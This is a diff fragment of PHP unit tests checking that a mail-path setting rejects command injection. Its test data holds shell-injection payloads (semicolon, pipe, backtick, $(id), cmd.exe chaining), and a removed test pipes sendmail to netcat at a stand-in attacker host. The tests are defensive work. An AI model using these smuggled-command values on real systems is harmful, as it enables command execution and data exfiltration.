['/usr/bin/php', true], + 'path with dash and underscore' => ['/opt/my-mail_bin/sendmail.exe', true], + 'path with trailing args' => ['/usr/sbin/sendmail -t -i', true], + 'windows path' => ['C:\wamp64\bin\sendmail\sendmail.exe', true], + 'windows path with trailing args' => ['C:\wamp64\bin\sendmail\sendmail.exe -t -i', true], 'empty string' => ['', false], - 'trailing newline bypass payload' => ["/usr/bin/php\n", false], + 'trailing newline bypass payload' => ["/usr/bin/php\n", false], 'trailing newline plus injected command' => ["/usr/bin/php\nid", false], - 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], - 'semicolon injection' => ['/usr/bin/php;id', false], - 'pipe injection' => ['/usr/bin/php|id', false], - 'space separated args' => ['/usr/bin/php -r "phpinfo();"', false], + 'embedded newline mid-string' => ["/usr/bin/php\n/bin/sh", false], + 'semicolon injection' => ['/usr/bin/php;id', false], + 'pipe injection' => ['/usr/bin/php|id', false], + 'ampersand injection' => ['/usr/bin/php & id', false], + 'backtick injection' => ['/usr/bin/php `id`', false], + 'dollar subshell injection' => ['/usr/bin/php $(id)', false], + 'quoted args' => ['/usr/bin/php -r "phpinfo();"', false], + 'redirect injection' => ['/usr/bin/php > /tmp/out', false], + 'cmd.exe env var expansion' => ['C:\path\sendmail.exe %COMSPEC%', false], + 'cmd.exe escape char' => ['C:\path\sendmail.exe ^& calc', false], + 'cmd.exe command chaining' => ['C:\path\sendmail.exe && calc', false], ]; } diff --git a/tests/Controllers/ConfigTest.php b/tests/Controllers/ConfigTest.php index 1302e72dd..486a64b76 100644 --- a/tests/Controllers/ConfigTest.php +++ b/tests/Controllers/ConfigTest.php @@ -117,63 +117,7 @@ class ConfigTest extends CIUnitTestCase $this->assertStringContainsString('invalid', strtolower($result['message'])); } - public function testMailpath_RejectsCommandInjection_Pipe(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_And(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail && whoami' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Backtick(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/`whoami`' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Subshell(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/sendmail$(id)' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_SpaceInPath(): void + public function testMailpath_AcceptsSendmailPathWithTrailingArgs(): void { $this->resetSession(); @@ -184,35 +128,7 @@ class ConfigTest extends CIUnitTestCase $response->assertStatus(200); $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_Newline(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => "/usr/sbin/sendmail\n/bin/bash" - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); - } - - public function testMailpath_RejectsCommandInjection_DollarSign(): void - { - $this->resetSession(); - - $response = $this->post('/config/saveEmail', [ - 'protocol' => 'sendmail', - 'mailpath' => '/usr/sbin/$SENDMAIL' - ]); - - $response->assertStatus(200); - $result = json_decode($response->getJSON(), true); - $this->assertFalse($result['success']); + $this->assertTrue($result['success']); } // ========== postSaveLocale: payment_reference_code_min / max ==========